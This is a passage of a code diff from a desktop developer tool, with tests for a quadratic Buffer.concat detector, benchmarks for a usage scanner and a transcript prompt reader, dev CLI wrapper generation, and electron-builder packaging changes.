let remainder = null
for await (const chunk of stream) {
const data = remainder ? Buffer.concat([remainder, chunk]) : chunk
remainder = Buffer.from(data.subarray(lineStart))
}
}`
)
expect(reports).toHaveLength(1)
expect(reports[0].accumulator).toBe('remainder')
})
it('reports the real pre-fix transcript reader carry, which never names itself on the left', () => {
const reports = reportQuadraticBufferConcat(
'agent-hook-listener.ts',
`function read(fd, size) {
let carryBytes = Buffer.alloc(0)
while (bytesRead < size) {
const combined = Buffer.concat([buffer.subarray(0, n), carryBytes])
carryBytes = combined.subarray(0, firstNewline)
}
}`
)
expect(reports).toHaveLength(1)
expect(reports[0].accumulator).toBe('carryBytes')
})
it('accepts the chunk-list fix that joins once after the loop', () => {
const reports = reportQuadraticBufferConcat(
'Example.ts',
'const parts = []; for (const chunk of chunks) { parts.push(chunk) } const out = Buffer.concat(parts)'
)
expect(reports).toHaveLength(0)
})
it('accepts spreading a carry chunk list, which is the sanctioned fix', () => {
const reports = reportQuadraticBufferConcat(
'Example.ts',
`let carryChunks = []
while (scanEnd > 0) {
const region = carryChunks.length === 0 ? buffer : Buffer.concat([buffer, ...carryChunks])
carryChunks = [buffer.subarray(0, firstNewline)]
}`
)
expect(reports).toHaveLength(0)
})
it('accepts a concat whose result never outlives the iteration', () => {
const reports = reportQuadraticBufferConcat(
'Example.ts',
'for (const group of groups) { const frame = Buffer.concat([group.header, group.body]); send(frame) }'
)
expect(reports).toHaveLength(0)
})
it('accepts a loop-local buffer declared and rebuilt inside the same iteration', () => {
const reports = reportQuadraticBufferConcat(
'Example.ts',
'for (const chunk of chunks) { let framed = HEADER; framed = Buffer.concat([framed, chunk]); send(framed) }'
)
expect(reports).toHaveLength(0)
})
it('reports an accumulator declared in a classic for initializer', () => {
const reports = reportQuadraticBufferConcat(
'Example.ts',
'for (let acc = Buffer.alloc(0), i = 0; i < n; i++) { acc = Buffer.concat([acc, chunks[i]]) }'
)
expect(reports).toHaveLength(1)
})
it('reports a class field accumulator rebuilt inside a loop', () => {
const reports = reportQuadraticBufferConcat(
'Example.ts',
'class Reader { read() { while (this.open) { this.pending = Buffer.concat([this.pending, chunk]) } } }'
)
expect(reports).toHaveLength(1)
expect(reports[0].accumulator).toBe('this.pending')
})
it('reports an accumulator guarded by an emptiness ternary', () => {
const reports = reportQuadraticBufferConcat(
'Example.ts',
'let acc = Buffer.alloc(0); while (open) { acc = acc.length === 0 ? chunk : Buffer.concat([acc, chunk]) }'
)
expect(reports).toHaveLength(1)
})
it('ignores a per-event accumulator with no enclosing loop', () => {
const reports = reportQuadraticBufferConcat(
'scrcpy-stream-session.ts',
'class S { handleVideoChunk(chunk) { let buffer = Buffer.concat([this.pendingVideo, chunk]); this.pendingVideo = parse(buffer).pending } }'
)
expect(reports).toHaveLength(0)
})
it('ignores files with no Buffer.concat at all', () => {
expect(reportQuadraticBufferConcat('Example.ts', 'export const x = 1')).toHaveLength(0)
})
})
@@ -0,0 +1,190 @@
#!/usr/bin/env node
// Benchmark: the event-loop yield in the Claude usage scanner's batch loops.
//
// scanner.ts yielded with `setTimeout(resolve, 0)`, which Node clamps to ~1ms. The
// loops yield once per FILE_SCAN_BATCH_SIZE files across two passes, so a machine with
// thousands of transcripts spent seconds parked on timers doing no work. setImmediate
// yields on the same tick's check phase with no clamp. The sibling scanner
// (src/main/codex-usage/scanner.ts) already used setImmediate.
//
// The yield exists to keep the main process responsive during a scan, so this also
// measures worst-case latency for a concurrent task -- a "faster" yield that starved
// other work would be a regression, not a win.
//
// Run with: node config/scripts/claude-usage-yield-benchmark.mjs
import { readFileSync } from 'node:fs'
import { homedir } from 'node:os'
import { join } from 'node:path'
import { performance } from 'node:perf_hooks'
import { readdirSync, statSync } from 'node:fs'
const REPO_ROOT = new URL('../..', import.meta.url)
const ROUNDS = Number(process.env.ORCA_YIELD_BENCH_ROUNDS ?? '10')
// Why re-read the source: the claim is that the scanner yields once per batch across
// two loops. If the batch size or the yield sites change, these numbers stop meaning
// what the header says, so fail loudly instead of reporting a stale ratio.
const SCANNER_SOURCE = readFileSync(new URL('src/main/claude-usage/scanner.ts', REPO_ROOT), 'utf8')
const batchMatch = SCANNER_SOURCE.match(/const FILE_SCAN_BATCH_SIZE = (\d+)/)
if (!batchMatch) {
throw new Error('FILE_SCAN_BATCH_SIZE not found; this benchmark is stale')
}
const FILE_SCAN_BATCH_SIZE = Number(batchMatch[1])
const YIELD_SITES = (SCANNER_SOURCE.match(/await yieldToEventLoop\(\)/g) ?? []).length
if (YIELD_SITES === 0) {
throw new Error('no yieldToEventLoop call sites found; this benchmark is stale')
}
// Match the call, not the word: a comment mentioning setImmediate would satisfy a
// bare substring check even after the yield reverted to setTimeout.
if (!/setImmediate\(resolve\)/.test(SCANNER_SOURCE)) {
throw new Error('scanner no longer yields with setImmediate; this benchmark is stale')
}
// Real transcript count drives the yield count, so read it rather than assume one.
function countClaudeTranscripts() {
const root = join(homedir(), '.claude', 'projects')
let count = 0
const stack = [root]
while (stack.length > 0) {
const dir = stack.pop()
let entries
try {
entries = readdirSync(dir, { withFileTypes: true })
} catch {
continue
}
for (const entry of entries) {
if (entry.isDirectory()) {
stack.push(join(dir, entry.name))
} else if (entry.name.endsWith('.jsonl')) {
count += 1
}
}
}
return count
}
const transcriptCount = (() => {
try {
statSync(join(homedir(), '.claude', 'projects'))
return countClaudeTranscripts()
} catch {
return 0
}
})()
const FALLBACK_TRANSCRIPTS = 7500
const effectiveTranscripts = transcriptCount > 0 ? transcriptCount : FALLBACK_TRANSCRIPTS
// Each pass walks ceil(files / batch) batches and yields after every batch except the
// last, so a pass yields batchesPerPass - 1 times.
const BATCHES_PER_PASS = Math.max(1, Math.ceil(effectiveTranscripts / FILE_SCAN_BATCH_SIZE))
const YIELDS_PER_SCAN = Math.max(1, (BATCHES_PER_PASS - 1) * YIELD_SITES)
const yieldWithTimeout = () => new Promise((resolve) => setTimeout(resolve, 0))
const yieldWithImmediate = () => new Promise((resolve) => setImmediate(resolve))
// Mirrors the scanner's shape: a little synchronous work per batch, then a yield.
async function runBatchLoop(doYield, batches) {
let sink = 0
for (let batch = 0; batch < batches; batch += 1) {
for (let file = 0; file < FILE_SCAN_BATCH_SIZE; file += 1) {
sink += (batch * 31 + file) % 7
}
if (batch + 1 < batches) {
await doYield()
}
}
return sink
}
async function timeArm(doYield, batches) {
const start = performance.now()
const sink = await runBatchLoop(doYield, batches)
const elapsed = performance.now() - start
if (sink === -1) {
throw new Error('unreachable')
}
return elapsed
}
function median(samples) {
const sorted = [...samples].sort((a, b) => a - b)
const mid = sorted.length / 2
return (sorted[mid - 1] + sorted[mid]) / 2
}
// Arms alternate which one leads so within-round drift cannot favour either.
async function measure(batches) {
await runBatchLoop(yieldWithTimeout, Math.min(batches, 50))
await runBatchLoop(yieldWithImmediate, Math.min(batches, 50))
const timeoutSamples = []
const immediateSamples = []
for (let round = 0; round < ROUNDS; round += 1) {
if (round % 2 === 0) {
timeoutSamples.push(await timeArm(yieldWithTimeout, batches))
immediateSamples.push(await timeArm(yieldWithImmediate, batches))
} else {
immediateSamples.push(await timeArm(yieldWithImmediate, batches))
timeoutSamples.push(await timeArm(yieldWithTimeout, batches))
}
}
return { timeoutMs: median(timeoutSamples), immediateMs: median(immediateSamples) }
}
// The yield exists for responsiveness, so measure what a concurrent task actually sees.
async function measureConcurrentLatency(doYield, batches) {
let worstLatencyMs = 0
let stop = false
const probe = (async () => {
while (!stop) {
const tick = performance.now()
await new Promise((resolve) => setImmediate(resolve))
worstLatencyMs = Math.max(worstLatencyMs, performance.now() - tick)
}
})()
const start = performance.now()
await runBatchLoop(doYield, batches)
const scanMs = performance.now() - start
stop = true
await probe
return { scanMs, worstLatencyMs }
}
const pad = (value, width) => String(value).padStart(width)
console.log('Claude usage scanner event-loop yield. Lower is better.')
console.log(
`transcripts=${transcriptCount > 0 ? transcriptCount : `${FALLBACK_TRANSCRIPTS} (none found; synthetic)`} batch=${FILE_SCAN_BATCH_SIZE} sites=${YIELD_SITES} -> ~${YIELDS_PER_SCAN} yields/scan`
)
console.log(
`${pad('yields', 8)} ${pad('setTimeout(0)', 14)} ${pad('setImmediate', 13)} ${pad('speedup', 9)} ${pad('saved', 11)}`
)
for (const yields of [100, 500, YIELDS_PER_SCAN]) {
// runBatchLoop yields batches - 1 times, so ask for one more batch than yields.
const batches = yields + 1
const { timeoutMs, immediateMs } = await measure(batches)
// Why report the absolute saving too: the setImmediate arm is small enough that
// background load moves the RATIO a lot while the removed wall time barely budges.
console.log(
`${pad(yields, 8)} ${pad(`${timeoutMs.toFixed(1)} ms`, 14)} ${pad(`${immediateMs.toFixed(1)} ms`, 13)} ${pad(`${(timeoutMs / immediateMs).toFixed(1)}x`, 9)} ${pad(`${(timeoutMs - immediateMs).toFixed(0)} ms`, 11)}`
)
}
console.log('\nResponsiveness (the reason the yield exists) at a full scan:')
const timeoutLatency = await measureConcurrentLatency(yieldWithTimeout, YIELDS_PER_SCAN + 1)
const immediateLatency = await measureConcurrentLatency(yieldWithImmediate, YIELDS_PER_SCAN + 1)
console.log(
` setTimeout(0): scan ${timeoutLatency.scanMs.toFixed(0)} ms, worst concurrent wait ${timeoutLatency.worstLatencyMs.toFixed(2)} ms`
)
console.log(
` setImmediate : scan ${immediateLatency.scanMs.toFixed(0)} ms, worst concurrent wait ${immediateLatency.worstLatencyMs.toFixed(2)} ms`
)
if (immediateLatency.worstLatencyMs > timeoutLatency.worstLatencyMs) {
console.log(
'\n NOTE: setImmediate showed a WORSE concurrent wait here. The yield exists for\n responsiveness, so that would be a regression even though the scan is faster.'
)
}
console.log(
'\nRead the SAVED column, not the ratio. The setImmediate arm is small enough that\nbackground load swings the ratio (32x-81x observed across runs on a loaded machine)\nwhile the removed wall time stays at ~4.2-5.1 s. The saving is wall-clock the main\nprocess spent parked on timer clamps, not CPU work removed. It is paid on every\nUsage-pane scan and every forced automation rescan.'
)
@@ -0,0 +1,427 @@
#!/usr/bin/env node
// Benchmark: cost of resolving a Command Code turn prompt from the transcript,
// paid on EVERY command-code hook event (PreToolUse/PostToolUse fire once per
// tool call, so many per second during an active agent turn).
//
// Before the fix, readLastCommandCodeUserPromptEntryFromTranscript() read up to
// TRANSCRIPT_MAX_SCAN_BYTES (4 MB) synchronously, decoded it all to a JS string,
// and JSON-parsed EVERY line to the end of the buffer to find the LAST user
// entry — so cost grew with the transcript, which only grows as a session runs.
//
// The fix scans backward from EOF in TRANSCRIPT_CHUNK_BYTES blocks and returns
// on the first user line, the shape the sibling readLastTextFromTranscriptOnce
// already used. The answer sits near EOF in a real session (the current turn's
// prompt precedes only this turn's output), so the scan reads one or two blocks
// instead of the whole file.
//
// Both implementations are mirrored here: node cannot import the .ts source,
// matching the other benchmarks in this directory. Constants are re-read from
// the real module so a drifted cap fails loudly instead of measuring dead code.
import {
closeSync,
mkdtempSync,
openSync,
readFileSync,
readSync,
rmSync,
statSync,
writeFileSync
} from 'node:fs'
import { tmpdir } from 'node:os'
import { join } from 'node:path'
import { performance } from 'node:perf_hooks'
import { fileURLToPath } from 'node:url'
const LISTENER_SOURCE = readFileSync(
fileURLToPath(new URL('../../src/shared/agent-hook-listener.ts', import.meta.url)),
'utf8'
)
function readMirroredConstant(name) {
const match = LISTENER_SOURCE.match(new RegExp(`const ${name} = ([^\\n]+)`))
if (!match) {
throw new Error(`agent-hook-listener.ts no longer defines ${name}; re-sync this benchmark.`)
}
const value = Number(new Function(`return (${match[1]})`)())
if (!Number.isInteger(value) || value <= 0) {
throw new Error(`${name} did not resolve to a positive integer`)
}
return value
}
const TRANSCRIPT_CHUNK_BYTES = readMirroredConstant('TRANSCRIPT_CHUNK_BYTES')
const TRANSCRIPT_MAX_SCAN_BYTES = readMirroredConstant('TRANSCRIPT_MAX_SCAN_BYTES')
const EMPTY_REGION = Buffer.alloc(0)
const ITERATIONS = Number.parseInt(process.env.ORCA_CC_SCAN_BENCH_ITERATIONS ?? '150', 10)
const WARMUP = Number.parseInt(process.env.ORCA_CC_SCAN_BENCH_WARMUP ?? '20', 10)
for (const [name, value] of [
['ORCA_CC_SCAN_BENCH_ITERATIONS', ITERATIONS],
['ORCA_CC_SCAN_BENCH_WARMUP', WARMUP]
]) {
if (!Number.isInteger(value) || value <= 0) {
throw new Error(`${name} must be a positive integer, received ${value}`)
}
}
// Mirror of parseAgentHookJson: the real reader scans a line's structure before
// parsing it, on BOTH sides of this comparison. Omitting it made the pre-fix
// column ~9x too fast and invented a regression that does not exist.
const HOOK_STRUCTURAL_TOKENS = 128 * 1024
const HOOK_NESTING_DEPTH = 64
function assertJsonStructure(content) {
let structuralTokens = 0
let depth = 0
let inString = false
let escaped = false
for (let index = 0; index < content.length; index += 1) {
const character = content[index]
if (inString) {
if (escaped) {
escaped = false
} else if (character === '\\') {
escaped = true
} else if (character === '"') {
inString = false
}
continue
}
if (character === '"') {
inString = true
continue
}
if (
character !== '{' &&
character !== '}' &&
character !== '[' &&
character !== ']' &&
character !== ',' &&
character !== ':'
) {
continue
}
structuralTokens += 1
if (structuralTokens > HOOK_STRUCTURAL_TOKENS) {
throw new Error('structuralTokens')
}
if (character === '{' || character === '[') {
depth += 1
if (depth > HOOK_NESTING_DEPTH) {
throw new Error('nestingDepth')
}
} else if (character === '}' || character === ']') {
depth = Math.max(0, depth - 1)
}
}
}
function extractUserPrompt(line) {
let entry
try {
assertJsonStructure(line)
entry = JSON.parse(line)
} catch {
return undefined
}
if (typeof entry !== 'object' || entry === null || entry.role !== 'user') {
return undefined
}
const content = entry.content
if (typeof content === 'string' && content.trim().length > 0) {
return content
}
if (Array.isArray(content)) {
for (const part of content) {
if (typeof part === 'object' && part !== null) {
const text = part.text
if (typeof text === 'string' && text.trim().length > 0) {
return text
}
}
}
}
return undefined
}
// Pre-fix: read the capped window, then parse every line to the end.
function readForward(path) {
const size = statSync(path).size
if (size <= 0) {
return undefined
}
const bytesToRead = Math.min(size, TRANSCRIPT_MAX_SCAN_BYTES)
const position = size - bytesToRead
const fd = openSync(path, 'r')
try {
const buffer = Buffer.alloc(bytesToRead)
let filled = 0
while (filled < bytesToRead) {
const n = readSync(fd, buffer, filled, bytesToRead - filled, position + filled)
if (n === 0) {
break
}
filled += n
}
let text = buffer.subarray(0, filled).toString('utf8')
if (position > 0) {
const firstNewline = text.indexOf('\n')
text = firstNewline === -1 ? '' : text.slice(firstNewline + 1)
}
let last
for (const line of text.split('\n')) {
const prompt = extractUserPrompt(line.trim())
if (prompt !== undefined) {
last = prompt
}
}
return last
} finally {
closeSync(fd)
}
}
function findLastPromptInRegion(region) {
let lineEnd = region.length
for (let index = region.length - 1; index >= -1; index--) {
if (index >= 0 && region[index] !== 0x0a) {
continue
}
const lineStart = index + 1
if (lineEnd > lineStart) {
const prompt = extractUserPrompt(region.subarray(lineStart, lineEnd).toString('utf8').trim())
if (prompt !== undefined) {
return prompt
}
}
lineEnd = index
}
return undefined
}
// Post-fix: walk backward from EOF, return on the first user line. The carry is
// a chunk list, not a re-joined buffer, so one oversized line stays linear.
function readBackward(path) {
const size = statSync(path).size
if (size <= 0) {
return undefined
}
const fd = openSync(path, 'r')
try {
let carryChunks = []
let bytesRead = 0
let scanEnd = size
while (scanEnd > 0 && bytesRead < TRANSCRIPT_MAX_SCAN_BYTES) {
const chunkSize = Math.min(
scanEnd,
TRANSCRIPT_CHUNK_BYTES,
TRANSCRIPT_MAX_SCAN_BYTES - bytesRead
)
const position = scanEnd - chunkSize
const buffer = Buffer.alloc(chunkSize)
let filled = 0
while (filled < chunkSize) {
const n = readSync(fd, buffer, filled, chunkSize - filled, position + filled)
if (n === 0) {
break
}
filled += n
}
if (filled < chunkSize) {
break
}
bytesRead += filled
scanEnd = position
const firstNewline = buffer.indexOf(0x0a)
const atStart = position === 0
let completeRegion
if (atStart) {
completeRegion = carryChunks.length === 0 ? buffer : Buffer.concat([buffer, ...carryChunks])
carryChunks = []
} else if (firstNewline === -1) {
completeRegion = EMPTY_REGION
carryChunks.unshift(buffer)
} else {
const afterNewline = buffer.subarray(firstNewline + 1)
completeRegion =
carryChunks.length === 0 ? afterNewline : Buffer.concat([afterNewline, ...carryChunks])
carryChunks = [buffer.subarray(0, firstNewline)]
}
if (completeRegion.length > 0) {
const found = findLastPromptInRegion(completeRegion)
if (found !== undefined) {
return found
}
}
}
return undefined
} finally {
closeSync(fd)
}
}
// A real session: many completed turns, then THIS turn's prompt, then the tool
// output produced since. The prompt therefore sits near EOF.
function writeTranscript(path, priorTurns) {
const lines = []
for (let index = 0; index < priorTurns; index += 1) {
lines.push(
JSON.stringify({ role: 'user', content: [{ type: 'text', text: `older turn ${index}` }] })
)
lines.push(
JSON.stringify({
role: 'assistant',
content: [{ type: 'text', text: `${'assistant output '.repeat(30)}${index}` }]
})
)
}
lines.push(
JSON.stringify({ role: 'user', content: [{ type: 'text', text: 'the current prompt' }] })
)
for (let index = 0; index < 40; index += 1) {
lines.push(
JSON.stringify({
role: 'assistant',
content: [{ type: 'text', text: `${'current turn output '.repeat(30)}${index}` }]
})
)
}
writeFileSync(path, `${lines.join('\n')}\n`)
}
// A turn already in progress: `trailingBytes` of tool output sits between the
// prompt and EOF, which is what the backward scan has to read past.
function writeTranscriptWithTrailing(path, priorTurns, trailingBytes) {
const lines = []
for (let index = 0; index < priorTurns; index += 1) {
lines.push(
JSON.stringify({ role: 'user', content: [{ type: 'text', text: `older turn ${index}` }] })
)
lines.push(
JSON.stringify({
role: 'assistant',
content: [{ type: 'text', text: `${'assistant output '.repeat(30)}${index}` }]
})
)
}
lines.push(
JSON.stringify({ role: 'user', content: [{ type: 'text', text: 'the current prompt' }] })
)
let written = 0
let index = 0
while (written < trailingBytes) {
const line = JSON.stringify({
role: 'assistant',
content: [{ type: 'text', text: `${'current turn output '.repeat(30)}${index}` }]
})
lines.push(line)
written += line.length + 1
index += 1
}
writeFileSync(path, `${lines.join('\n')}\n`)
}
// One tool result larger than many read blocks — the shape with no newline for
// the backward scan to stop on.
function writeTranscriptWithHugeLine(path, lineBytes) {
const lines = [
JSON.stringify({ role: 'user', content: [{ type: 'text', text: 'the current prompt' }] }),
JSON.stringify({ role: 'assistant', content: [{ type: 'text', text: 'x'.repeat(lineBytes) }] })
]
writeFileSync(path, `${lines.join('\n')}\n`)
}
function measure(fn, path) {
for (let index = 0; index < WARMUP; index += 1) {
fn(path)
}
const samples = []
for (let round = 0; round < 3; round += 1) {
const start = performance.now()
for (let index = 0; index < ITERATIONS; index += 1) {
fn(path)
}
samples.push((performance.now() - start) / ITERATIONS)
}
samples.sort((a, b) => a - b)
return samples[1]
}
const dir = mkdtempSync(join(tmpdir(), 'orca-cc-transcript-bench-'))
try {
const rows = []
for (const priorTurns of [250, 1000, 3000, 6000]) {
const path = join(dir, `transcript-${priorTurns}.jsonl`)
writeTranscript(path, priorTurns)
const forward = readForward(path)
const backward = readBackward(path)
if (forward !== backward) {
throw new Error(`prompt mismatch at ${priorTurns} prior turns: ${forward} vs ${backward}`)
}
if (backward !== 'the current prompt') {
throw new Error(`benchmark fixture resolved the wrong prompt: ${backward}`)
}
rows.push({
sizeMb: statSync(path).size / (1024 * 1024),
beforeMs: measure(readForward, path),
afterMs: measure(readBackward, path)
})
}
const pad = (value, width) => String(value).padStart(width)
console.log('Command Code transcript prompt read, per hook event')
console.log(`iterations=${ITERATIONS} warmup=${WARMUP} (median of 3 rounds)`)
console.log(
`${pad('size', 9)} ${pad('before ms', 11)} ${pad('after ms', 10)} ${pad('speedup', 9)}`
)
for (const row of rows) {
console.log(
`${pad(`${row.sizeMb.toFixed(2)} MB`, 9)} ${pad(row.beforeMs.toFixed(3), 11)} ${pad(row.afterMs.toFixed(3), 10)} ${pad(`${(row.beforeMs / row.afterMs).toFixed(0)}x`, 9)}`
)
}
console.log(
'\nThe old cost grows with the transcript; the new cost is flat because the\ncurrent turn’s prompt sits near EOF and the scan stops at the first hit.'
)
// Worst cases, reported even where the ratio is below 1x. The new cost scales
// with bytes-AFTER the prompt, so a long turn (many tool calls since the ask)
// and a single oversized tool result are where the win decays or inverts.
const worst = []
for (const trailingKb of [32, 256, 1024, 3072]) {
const path = join(dir, `trailing-${trailingKb}.jsonl`)
writeTranscriptWithTrailing(path, 1500, trailingKb * 1024)
if (readForward(path) !== readBackward(path)) {
throw new Error(`prompt mismatch at trailing ${trailingKb} KB`)
}
worst.push({
label: `${(trailingKb / 1024).toFixed(2)} MB after prompt`,
beforeMs: measure(readForward, path),
afterMs: measure(readBackward, path)
})
}
const hugePath = join(dir, 'huge-line.jsonl')
writeTranscriptWithHugeLine(hugePath, 3 * 1024 * 1024)
if (readForward(hugePath) !== readBackward(hugePath)) {
throw new Error('prompt mismatch on the oversized-line fixture')
}
worst.push({
label: '3 MB single line',
beforeMs: measure(readForward, hugePath),
afterMs: measure(readBackward, hugePath)
})
console.log('\nWorst cases (win decays as a turn progresses; <1x means slower):')
console.log(
`${pad('case', 22)} ${pad('before ms', 11)} ${pad('after ms', 10)} ${pad('ratio', 9)}`
)
for (const row of worst) {
console.log(
`${pad(row.label, 22)} ${pad(row.beforeMs.toFixed(3), 11)} ${pad(row.afterMs.toFixed(3), 10)} ${pad(`${(row.beforeMs / row.afterMs).toFixed(2)}x`, 9)}`
)
}
console.log(
'\nThe win shrinks toward parity as output accumulates after the prompt, since\nthe backward scan has to read past all of it. The single-line row is the floor:\nno newline to stop on, so the scan reads the line in blocks and joins once where\nthe old code issued one flat read. Both sides pay the same per-line structure\nscan, and the carry is a chunk list, so cost stays linear either way.'
)
} finally {
rmSync(dir, { recursive: true, force: true })
}
@@ -0,0 +1,40 @@
import { chmodSync, mkdirSync, writeFileSync } from 'node:fs'
import path from 'node:path'
function escapeWindowsBatchValue(value) {
// Why: cmd.exe expands %NAME% even inside quotes, so literal path percent signs must be doubled.
return value.replaceAll('%', '%%')
}
export function prepareDevCliTerminalWrappers({
repoRoot,
userDataPath,
electronExecutable,
platform = process.platform
}) {
const binDir = path.join(repoRoot, 'out', 'bin')
const userDataBinDir = path.join(userDataPath, 'cli', 'bin')
const cliPath = path.join(repoRoot, 'out', 'cli', 'index.js')
mkdirSync(binDir, { recursive: true })
mkdirSync(userDataBinDir, { recursive: true })
if (platform === 'win32') {
const wrapperContent = `@echo off\r\nset "ORCA_USER_DATA_PATH=${escapeWindowsBatchValue(userDataPath)}"\r\nset "ORCA_DEV_CLI_INVOCATION=1"\r\nset "ORCA_APP_EXECUTABLE=${escapeWindowsBatchValue(electronExecutable)}"\r\nset "ORCA_APP_EXECUTABLE_NEEDS_APP_ROOT=1"\r\nnode "${escapeWindowsBatchValue(cliPath)}" %*\r\n`
for (const targetDir of [binDir, userDataBinDir]) {
for (const commandName of ['orca-dev.cmd', 'orca.cmd']) {
writeFileSync(path.join(targetDir, commandName), wrapperContent, 'utf8')
}
}
} else {
const wrapperContent = `#!/usr/bin/env bash\nexport ORCA_USER_DATA_PATH=${JSON.stringify(userDataPath)}\nexport ORCA_DEV_CLI_INVOCATION=1\nexport ORCA_APP_EXECUTABLE=${JSON.stringify(electronExecutable)}\nexport ORCA_APP_EXECUTABLE_NEEDS_APP_ROOT=1\nexec node ${JSON.stringify(cliPath)} "$@"\n`
for (const targetDir of [binDir, userDataBinDir]) {
for (const commandName of ['orca-dev', 'orca']) {
const wrapperPath = path.join(targetDir, commandName)
writeFileSync(wrapperPath, wrapperContent, 'utf8')
chmodSync(wrapperPath, 0o755)
}
}
}
return { binDir, userDataBinDir }
}
@@ -0,0 +1,70 @@
import { mkdtempSync, readFileSync } from 'node:fs'
import { tmpdir } from 'node:os'
import path from 'node:path'
import { describe, expect, it } from 'vitest'
import { prepareDevCliTerminalWrappers } from './dev-cli-terminal-wrapper.mjs'
describe('dev CLI terminal wrappers', () => {
it('writes profile-scoped Windows wrappers for worker terminals', () => {
const root = mkdtempSync(path.join(tmpdir(), 'orca-dev-terminal-wrapper-'))
const userDataPath = path.join(root, 'profile')
prepareDevCliTerminalWrappers({
repoRoot: root,
userDataPath,
electronExecutable: path.join(root, 'electron.exe'),
platform: 'win32'
})
const wrapper = readFileSync(path.join(userDataPath, 'cli', 'bin', 'orca-dev.cmd'), 'utf8')
expect(wrapper).toContain(`set "ORCA_USER_DATA_PATH=${userDataPath}"`)
expect(wrapper).toContain('set "ORCA_DEV_CLI_INVOCATION=1"')
expect(wrapper).toContain(`node "${path.join(root, 'out', 'cli', 'index.js')}" %*`)
expect(readFileSync(path.join(userDataPath, 'cli', 'bin', 'orca.cmd'), 'utf8')).toBe(wrapper)
expect(readFileSync(path.join(root, 'out', 'bin', 'orca-dev.cmd'), 'utf8')).toBe(wrapper)
expect(readFileSync(path.join(root, 'out', 'bin', 'orca.cmd'), 'utf8')).toBe(wrapper)
})
it('escapes literal percent signs in every Windows batch path', () => {
const root = path.join(mkdtempSync(path.join(tmpdir(), 'orca-dev-terminal-wrapper-')), '%repo%')
const userDataPath = path.join(root, '%profile%')
const electronExecutable = path.join(root, '%electron%', 'electron.exe')
prepareDevCliTerminalWrappers({
repoRoot: root,
userDataPath,
electronExecutable,
platform: 'win32'
})
const wrapper = readFileSync(path.join(userDataPath, 'cli', 'bin', 'orca-dev.cmd'), 'utf8')
expect(wrapper).toContain(`set "ORCA_USER_DATA_PATH=${userDataPath.replaceAll('%', '%%')}"`)
expect(wrapper).toContain(
`set "ORCA_APP_EXECUTABLE=${electronExecutable.replaceAll('%', '%%')}"`
)
expect(wrapper).toContain(
`node "${path.join(root, 'out', 'cli', 'index.js').replaceAll('%', '%%')}" %*`
)
expect(readFileSync(path.join(root, 'out', 'bin', 'orca-dev.cmd'), 'utf8')).toBe(wrapper)
expect(readFileSync(path.join(root, 'out', 'bin', 'orca.cmd'), 'utf8')).toBe(wrapper)
})
it('writes executable-style POSIX wrappers with the same profile identity', () => {
const root = mkdtempSync(path.join(tmpdir(), 'orca-dev-terminal-wrapper-'))
const userDataPath = path.join(root, 'profile')
prepareDevCliTerminalWrappers({
repoRoot: root,
userDataPath,
electronExecutable: path.join(root, 'electron'),
platform: 'linux'
})
const wrapper = readFileSync(path.join(userDataPath, 'cli', 'bin', 'orca-dev'), 'utf8')
expect(wrapper).toContain(`export ORCA_USER_DATA_PATH=${JSON.stringify(userDataPath)}`)
expect(wrapper).toContain('export ORCA_DEV_CLI_INVOCATION=1')
expect(wrapper).toContain(
`exec node ${JSON.stringify(path.join(root, 'out', 'cli', 'index.js'))}`
)
expect(readFileSync(path.join(userDataPath, 'cli', 'bin', 'orca'), 'utf8')).toBe(wrapper)
expect(readFileSync(path.join(root, 'out', 'bin', 'orca-dev'), 'utf8')).toBe(wrapper)
expect(readFileSync(path.join(root, 'out', 'bin', 'orca'), 'utf8')).toBe(wrapper)
})
})
@@ -1,4 +1,4 @@
import { mkdir, mkdtemp, readFile, readdir, rm, stat, writeFile } from 'node:fs/promises'
import { cp, mkdir, mkdtemp, readFile, readdir, rm, stat, writeFile } from 'node:fs/promises'
import { createRequire } from 'node:module'
import { tmpdir } from 'node:os'
import { join } from 'node:path'
@@ -35,17 +35,25 @@ describe('electron-builder config', () => {
'!pr-evidence{,/**/*}',
'!Casks{,/**/*}',
'!{AGENTS.md,CLAUDE.md,DEVELOPING.md,bundle-size-progress.md}',
'!out/**/*.test.js'
'!out/**/*.test.js',
'!resources/plugins/launch/**'
])
)
})
it('keeps runtime resources available through extraResources', () => {
const bundledPluginResources = expect.objectContaining({
from: 'resources/plugins/launch',
to: 'plugins/launch'
})
for (const platform of ['mac', 'linux', 'win']) {
expect(electronBuilderConfig[platform].extraResources).toContainEqual({
from: 'resources/skills',
to: 'skills'
})
expect(electronBuilderConfig[platform].extraResources).toEqual(
expect.arrayContaining([bundledPluginResources])
)
}
expect(electronBuilderConfig.mac.extraResources).toEqual(
expect.arrayContaining([
@@ -386,6 +394,11 @@ describe('electron-builder config', () => {
const resourcesDir = join(root, 'linux-unpacked', 'resources')
const launcherPath = join(resourcesDir, 'bin', 'orca-ide')
await mkdir(join(resourcesDir, 'bin'), { recursive: true })
await cp(
join(process.cwd(), 'resources', 'plugins', 'launch'),
join(resourcesDir, 'plugins', 'launch'),
{ recursive: true }
)
await mkdir(join(resourcesDir, 'node_modules', 'zod', 'src'), { recursive: true })
// Why: afterPack now fails hard when the unpacked daemon entry is
// missing, so the fixture must carry one like a real package layout.
@@ -7,8 +7,8 @@ function electronBuilderNativeRebuild(context) {
return runElectronBuilderNativeRebuild(context)
}
function runElectronBuilderNativeRebuild(context, runner = execFileSync) {
const args = buildNativeRebuildArgs(context)
function runElectronBuilderNativeRebuild(context, runner = execFileSync, runtime = {}) {
const args = buildNativeRebuildArgs(context, runtime)
if (readPlatformName(context?.platform) === 'win32') {
runner(process.execPath, ['config/scripts/build-windows-cli-launcher.mjs'], {
cwd: projectDir,
@@ -25,15 +25,22 @@ function runElectronBuilderNativeRebuild(context, runner = execFileSync) {
return false
}
function buildNativeRebuildArgs(context) {
function buildNativeRebuildArgs(
context,
{ environment = process.env, hostPlatform = process.platform, hostArch = process.arch } = {}
) {
const platform = readPlatformName(context?.platform)
const arch = readArchName(context?.arch)
const canReusePreparedRuntime =
environment.ORCA_REUSE_PREPARED_NATIVE_RUNTIME === '1' &&
platform === hostPlatform &&
arch === hostArch
return [
'config/scripts/rebuild-native-deps.mjs',
`--platform=${platform}`,
`--arch=${arch}`,
'--force'
...(canReusePreparedRuntime ? [] : ['--force'])
]
}
@@ -42,6 +42,33 @@ describe('electron-builder native rebuild hook', () => {
])
})
it('reuses a prepared native runtime only for the host target', () => {
const runtime = {
environment: { ORCA_REUSE_PREPARED_NATIVE_RUNTIME: '1' },
hostPlatform: 'linux',
hostArch: 'x64'
}
expect(
buildNativeRebuildArgs(
{
platform: { nodeName: 'linux' },
